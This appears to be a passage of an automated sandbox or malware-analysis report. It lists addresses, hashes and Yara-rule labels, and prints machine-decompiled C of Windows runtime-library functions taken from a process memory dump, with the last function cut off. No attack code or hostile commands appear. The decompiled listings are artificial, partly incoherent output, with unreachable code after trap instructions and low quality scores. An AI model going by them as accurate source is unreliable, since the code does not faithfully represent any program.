0x00000000
0x03c726d2
0x00000000
0x00000000
0x03c725fe
0x03c7292d
0x03c72930
0x03c72935
0x03c72937
0x03c7293d
0x03c7293f
0x03c7294e
0x03c7294f
0x03c72957
0x03c72958
0x03c7295a
0x03c72962
0x03c72963
0x03c72969
0x03c7296c
0x03c7296f
0x03c72977
0x03c7297d
0x03c7297e
0x03c7297f
0x03c72980
0x03c72981
0x03c72982
0x03c72983
0x03c72984
0x03c72985
0x03c72986
0x03c72987
0x03c72988
0x03c72989
0x03c7298a
0x03c7298b
0x03c7298c
0x03c7298d
0x03c7298e
0x03c7298f
0x03c72990
0x03c72992
0x03c72997
0x03c729a3
0x03c729a6
0x03c729ab
0x03c729ad
0x03c729b0
0x03c729b2
0x03cb5c80
0x03c729b8
0x03c729b8
0x03c729bb
0x03c729c0
0x03c729c5
0x03c729c6
0x03c729c6
0x03c729c9
0x03c729cb
0x00000000
0x00000000
0x03c729cd
0x03c729d0
0x03c729d9
0x03c729db
0x03c729dd
0x03c72a7f
0x03c72a84
0x03c72a87
0x03c72a89
0x03cb5ca1
0x03cb5ca3
0x00000000
0x03c72a8f
0x03c72a8f
0x00000000
0x03c72a8f
0x00000000
0x03c729e3
0x03c729e3
0x03c729e3
0x00000000
0x03c729e3
0x03c729dd
0x00000000
0x03c729db
0x03c729e6
0x03c729e9
0x03c729eb
0x03c729ed
0x03c729f3
0x03c729f5
0x03c729f8
0x03c729fa
0x03c72a97
0x03c72a9a
0x03c72a9d
0x03c72add
0x00000000
0x03c72a9f
0x03c72aa2
0x03c72aa5
0x03c72aa8
0x03c72aab
0x03cb5cab
0x03cb5caf
0x03cb5cc5
0x03cb5cda
0x03cb5cdc
0x03cb5cdf
0x03cb5ce5
0x00000000
0x03cb5ceb
0x03cb5ced
0x03cb5cee
0x00000000
0x03cb5cee
0x03cb5cb1
0x03cb5cb4
0x03cb5cb9
0x03cb5cbb
0x00000000
0x03cb5cbd
0x03cb5cbd
0x00000000
0x03cb5cbd
0x03cb5cbb
0x03c72ab1
0x03c72ab1
0x03c72ac4
0x03c72ac6
0x03c72ac6
0x00000000
0x03c72ac6
0x03c72aab
0x00000000
0x03c72a00
0x03c72a09
0x03c72a0e
0x03c72a21
0x03c72a24
0x03c72a35
0x03c72a3a
0x03c72a3d
0x03c72a42
0x03c72a59
0x03c72a59
0x03c72a5c
0x03c72a5f
0x03c72a5f
0x03c729fa
0x03c729f3
0x03c72a64
0x03c72a64
0x03c72a6b
0x03c72a6b
0x03c72a6d
0x03c72a72
0x03c72a72
0x00000000

Strings

PATH, xrefs: 03C72642, 03C72691

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: c66a13e0d60e9a3bc6c968b6eb2cd685a18b3db775c21c9a2d3d33eb4a6b3328
Instruction ID: 67de56ecd25e5e3a484b17a9f6e3d541d8cd44539a84fd44c535578e3349f0c8
Opcode Fuzzy Hash: c66a13e0d60e9a3bc6c968b6eb2cd685a18b3db775c21c9a2d3d33eb4a6b3328
Instruction Fuzzy Hash: 2AC18DB5E002199BCB25DFA9D981BEEB7B5FF49700F094429E801EB350D734AE45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 03C7FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E03C7FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E03C5EEF0(0x3d37b60);
					_t134 =  *0x3d37b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x3d37b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x3d37b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E03C56D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E03C576E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E03CE8938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E03C4B150();
													}
													_t116 = E03CE6D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E03C575CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x3d38638; // 0x0
																	_t122 = L03C538A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E03C576E2(_t154);
																			goto L41;
																		}
																	} else {
																		E03C576E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L03C7FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L03C570F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E03C7FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E03C7FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E03C7FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E03C7FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E03C7FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x3d37b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x3d37b84 = _t75;
						_t73 = E03C5EB70(_t134, 0x3d37b60);
						if( *0x3d37b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E03C5FF60( *0x3d37b20);
							}
						}
						goto L5;
					}
				}
			}

0x03c7fab0
0x03c7fab2
0x03c7fab3
0x03c7fab4
0x03c7fabc
0x03c7fac0
0x03c7fb14
0x03c7fb17
0x03c7fac2
0x03c7fac8
0x03c7facd
0x03c7fad3
0x03c7fad3
0x03c7fadd
0x03c7fb18
0x03c7fb1b
0x03c7fb1d
0x03c7fb1e
0x03c7fb1f
0x03c7fb20
0x03c7fb21
0x03c7fb22
0x03c7fb23
0x03c7fb24
0x03c7fb25
0x03c7fb26
0x03c7fb27
0x03c7fb28
0x03c7fb29
0x03c7fb2a
0x03c7fb2b
0x03c7fb2c
0x03c7fb2d
0x03c7fb2e
0x03c7fb2f
0x03c7fb3a
0x03c7fb3b
0x03c7fb3e
0x03c7fb41
0x03c7fb44
0x03c7fb47
0x03c7fb4a
0x03c7fb4d
0x03c7fb53
0x03cbbdcb
0x03cbbdcb
0x03c7fb59
0x03c7fb5b
0x03c7fb5b
0x03c7fb5e
0x03cbbdd5
0x03cbbdd8
0x00000000
0x03cbbdda
0x00000000
0x03cbbdda
0x03c7fb64
0x03c7fb64
0x03c7fb64
0x03c7fb67
0x03c7fb6e
0x03c7fb70
0x03c7fb72
0x00000000
0x03c7fb78
0x03c7fb7a
0x03c7fb7a
0x03c7fb7d
0x03c7fb80
0x03cbbddf
0x03cbbde1
0x00000000
0x03cbbde3
0x00000000
0x03cbbde3
0x03c7fb86
0x03c7fb86
0x03c7fb86
0x03c7fb8b
0x03c7fb90
0x03c7fb92
0x03c7fb94
0x03c7fb9a
0x03c7fb9b
0x03c7fba1
0x03cbbde8
0x03cbbdeb
0x03cbbded
0x03cbbeb5
0x03cbbeb5
0x03cbbebb
0x03cbbebd
0x03cbbec3
0x03cbbed2
0x03cbbedd
0x03cbbedd
0x03cbbeed
0x00000000
0x03cbbdf3
0x03cbbdfe
0x03cbbe06
0x03cbbe0b
0x03cbbe0d
0x03cbbe0f
0x03cbbe14
0x03cbbe19
0x03cbbe20
0x03cbbe25
0x03cbbe27
0x03cbbe35
0x03cbbe39
0x03cbbe46
0x03cbbe4f
0x03cbbe54
0x03cbbe56
0x03cbbef8
0x03cbbef8
0x00000000
0x03cbbe5c
0x03cbbe5c
0x03cbbe60
0x00000000
0x03cbbe66
0x03cbbe66
0x03cbbe7f
0x03cbbe84
0x03cbbe87
0x03cbbe89
0x03cbbe8b
0x03cbbe99
0x03cbbe9d
0x03cbbea0
0x03cbbeac
0x03cbbeaf
0x03cbbeb1
0x03cbbeb3
0x03cbbeb3
0x00000000
0x03cbbea2
0x03cbbea2
0x00000000
0x03cbbea2
0x03cbbe8d
0x03cbbe8d
0x03cbbe92
0x00000000
0x03cbbe92
0x03cbbe8b
0x03cbbe60
0x03cbbe3b
0x03cbbe3b
0x03cbbe3e
0x00000000
0x03cbbe40
0x03cbbe40
0x03cbbe44
0x00000000
0x00000000
0x00000000
0x00000000
0x03cbbe44
0x03cbbe3e
0x03cbbe29
0x03cbbe29
0x00000000
0x03cbbe29
0x03cbbe27
0x00000000
0x03c7fba7
0x03c7fba7
0x03c7fbab
0x03cbbf02
0x03c7fbb1
0x03c7fbb1
0x03c7fbb8
0x03c7fbbd
0x03c7fbbd
0x03c7fbbf
0x03c7fbbf
0x03c7fbc5
0x03c7fbcb
0x03c7fbf8
0x03c7fbf8
0x03c7fbfa
0x00000000
0x03c7fc00
0x03c7fc00
0x03c7fc03
0x00000000
0x03c7fc09
0x03c7fc09
0x03c7fc0f
0x03c7fc15
0x03c7fc23
0x03c7fc23
0x03c7fc25
0x03c7fc27
0x03c7fc75
0x03c7fc7c
0x03c7fc84
0x00000000
0x03c7fc29
0x03c7fc29
0x03c7fc2d
0x03c7fc30
0x03cbbf0f
0x00000000
0x03c7fc36
0x03c7fc38
0x03c7fc3b
0x03c7fc41
0x03cbbf17
0x03cbbf19
0x03cbbf48
0x03cbbf4b
0x00000000
0x03cbbf1b
0x03cbbf22
0x03cbbf24
0x03cbbf26
0x00000000
0x03cbbf2c
0x03cbbf37
0x03cbbf39
0x03cbbf3b
0x00000000
0x03cbbf41
0x03cbbf41
0x03cbbf41
0x03cbbf41
0x03cbbf45
0x00000000
0x03cbbf45
0x03cbbf3b
0x03cbbf26
0x00000000
0x03c7fc47
0x03c7fc47
0x03c7fc49
0x03c7fcb2
0x03c7fcb4
0x03c7fcb6
0x03c7fcdc
0x03c7fcdc
0x00000000
0x03c7fcb8
0x03c7fcc3
0x03c7fcc5
0x03c7fcc7
0x00000000
0x03c7fcc9
0x03c7fcc9
0x03c7fccd
0x00000000
0x03c7fccd
0x03c7fcc7
0x00000000
0x03c7fc4b
0x03c7fc4b
0x03c7fc4e
0x03c7fc4e
0x03c7fc51
0x03c7fc51
0x03c7fc54
0x03c7fc5a
0x03c7fc5c
0x03c7fc5f
0x03c7fc61
0x03c7fc63
0x03c7fc65
0x03c7fc67
0x03c7fc6e
0x03c7fc72
0x03c7fc72
0x03c7fc72
0x03c7fc72
0x03c7fc67
0x03c7fc61
0x00000000
0x03c7fc5a
0x03c7fc49
0x03c7fc41
0x03c7fc30
0x03c7fc27
0x03c7fc03
0x03c7fbcd
0x03c7fbd3
0x03c7fbd9
0x03c7fbdc
0x03c7fbde
0x03c7fc99
0x03c7fc9b
0x03c7fc9d
0x03c7fcd5
0x03c7fcd5
0x03c7fc89
0x03c7fc89
0x00000000
0x03c7fc9f
0x03c7fc9f
0x03c7fca3
0x00000000
0x03c7fca3
0x00000000
0x03c7fbe4
0x03c7fbe4
0x03c7fbe4
0x03c7fbe4
0x03c7fbe9
0x03c7fbf2
0x00000000
0x03c7fbf2
0x03c7fbde
0x03c7fbcb
0x03c7fbab
0x03c7fc8b
0x03c7fc8b
0x03c7fc8c
0x03c7fb80
0x03c7fb72
0x03c7fb5e
0x03c7fc8d
0x03c7fc91
0x03c7fadf
0x03c7fadf
0x03c7fae1
0x03c7fae4
0x03c7fae7
0x03c7faec
0x03c7faf8
0x03c7fb00
0x03c7fb07
0x03c7fb0f
0x03c7fb0f
0x03c7fb07
0x00000000
0x03c7faf8
0x03c7fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 03CBBE0F

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 1242907a1ca63fea6a86576290bc65c0abb2abe9f67d47921a3dfedfe2c3cd28
Instruction ID: 75adfaaaa4e526a162f4f0b3bc64ed479a0642b9b4f4d297fd804c2a62884a76
Opcode Fuzzy Hash: 1242907a1ca63fea6a86576290bc65c0abb2abe9f67d47921a3dfedfe2c3cd28
Instruction Fuzzy Hash: 87A1F075A007468BDB35DF69C494BAAB3B8AF48710F0845ADED06DF690EB34DA418B90

Uniqueness

Uniqueness Score: -1.00%

Function 03C42D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E03C42D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x3d35350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x3d37bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E03C897C0();
				}
				if( *0x3d379c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x3d379c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E03C71624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E03C67D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E03CDFE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E03C89520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E03C7E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L03C9DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x3d36901;
								_push(_t109);
								_v52 = _t98;
								if( *0x3d36901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E03C89980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E03C895D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E03C67D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E03C67D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E03CC7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E03CDFDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x3d35350;
							if(_t109 != 0x3d35350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E03CDFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E03CD5720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x03c42d8a
0x03c42d8a
0x03c42d92
0x03c42d96
0x03c42d9e
0x03c42da0
0x03c42da3
0x03c42da5
0x03c42da8
0x03c42dab
0x03c42db2
0x03c9f9aa
0x03c9f9ab
0x03c9f9ae
0x03c9f9ae
0x03c42db8
0x03c42dc2
0x03c9f9b9
0x03c9f9be
0x03c9f9bf
0x03c9f9bf
0x03c42dcf
0x03c9f9c9
0x03c42dd5
0x03c42dd5
0x03c42dd5
0x03c42dde
0x03c42de1
0x03c42e70
0x03c42e72
0x03c42e72
0x03c42de7
0x03c42deb
0x03c42e7c
0x03c42e83
0x03c42e85
0x03c42e8b
0x03c42e8d
0x03c42e92
0x03c42e92
0x03c42e85
0x03c42df1
0x03c42df7
0x03c42df9
0x03c42df9
0x03c42dfc
0x03c42dff
0x03c42e02
0x00000000
0x03c42e05
0x03c42e0c
0x03c9f9d9
0x03c42e12
0x03c42e12
0x03c42e12
0x03c42e1a
0x03c9f9e3
0x03c9f9e9
0x03c9f9f0
0x03c9f9f6
0x03c9f9f8
0x03c9f9f8
0x03c9f9f0
0x03c42e23
0x03c9fa02
0x03c9fa03
0x03c9fa05
0x03c9fa06
0x00000000
0x03c42e29
0x03c42e29
0x03c42e2e
0x03c42e34
0x03c42e3e
0x00000000
0x00000000
0x03c42e44
0x03c42e47
0x03c42e4d
0x00000000
0x00000000
0x03c42e4f
0x03c42e54
0x00000000
0x00000000
0x03c42e5a
0x03c42e5f
0x03c42e9a
0x03c42ea4
0x03c42ea5
0x03c42ea8
0x03c42eaf
0x03c42eb2
0x03c42eb5
0x03c9fae9
0x03c9faeb
0x03c9faed
0x03c9faef
0x03c9faf7
0x03c9faf8
0x03c9fafd
0x03c9faff
0x03c9fb04
0x03c9fb04
0x03c9faff
0x03c42ec0
0x03c42ec4
0x03c42ec6
0x03c42ec8
0x03c9fb14
0x03c9fb18
0x03c9fb1e
0x03c9fb21
0x03c9fb21
0x03c42ece
0x03c42ece
0x03c42ece
0x03c42ed7
0x03c42e61
0x03c42e63
0x03c9fa6b
0x03c9fa71
0x03c9fa76
0x03c9fa78
0x03c9fa8a
0x03c9fa7a
0x03c9fa83
0x03c9fa83
0x03c9fa8f
0x03c9fa91
0x03c9fa97
0x03c9fa9d
0x03c9faa4
0x03c9faaa
0x03c9faaf
0x03c9fab1
0x03c9fac3
0x03c9fab3
0x03c9fabc
0x03c9fabc
0x03c9fac8
0x03c9facb
0x03c9fadf
0x03c9fadf
0x03c9facb
0x03c9faa4
0x03c9fa91
0x03c42e6f
0x03c42e6f
0x03c42e5f
0x03c9fa13
0x03c9fa15
0x03c9fa17
0x03c9fa1f
0x03c9fa21
0x03c9fa22
0x03c9fa25
0x03c9fa28
0x03c9fa2f
0x03c9fa2f
0x03c9fa2a
0x03c9fa2a
0x03c9fa2a
0x03c9fa31
0x03c9fa34
0x03c9fa36
0x03c9fa3c
0x03c9fa3e
0x03c9fa41
0x03c9fa43
0x03c9fa45
0x03c9fa45
0x03c9fa41
0x03c9fa3c
0x03c9fa4a
0x03c9fa4f
0x03c9fa51
0x03c9fa53
0x03c9fa56
0x03c9fa5b
0x03c9fa5e
0x00000000
0x03c9fa5e
0x03c42e23

Strings

RTL: Re-Waiting, xrefs: 03C9FA4A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 174d9f7e7b407fa1151ccbd90a86227b775fbca1a35b3d6aabffa88ba92b68d7
Instruction ID: 246c5228b4daf20d2326459c26f9c3396f44ef56064e21566d8cba79e12703b2
Opcode Fuzzy Hash: 174d9f7e7b407fa1151ccbd90a86227b775fbca1a35b3d6aabffa88ba92b68d7
Instruction Fuzzy Hash: 4A613631A006049FEB31DB68C885B7EB7A5EB45715F1A0AAAE511DF2C0CB709E00C791

Uniqueness

Uniqueness Score: -1.00%

Function 03D10EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E03D10EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
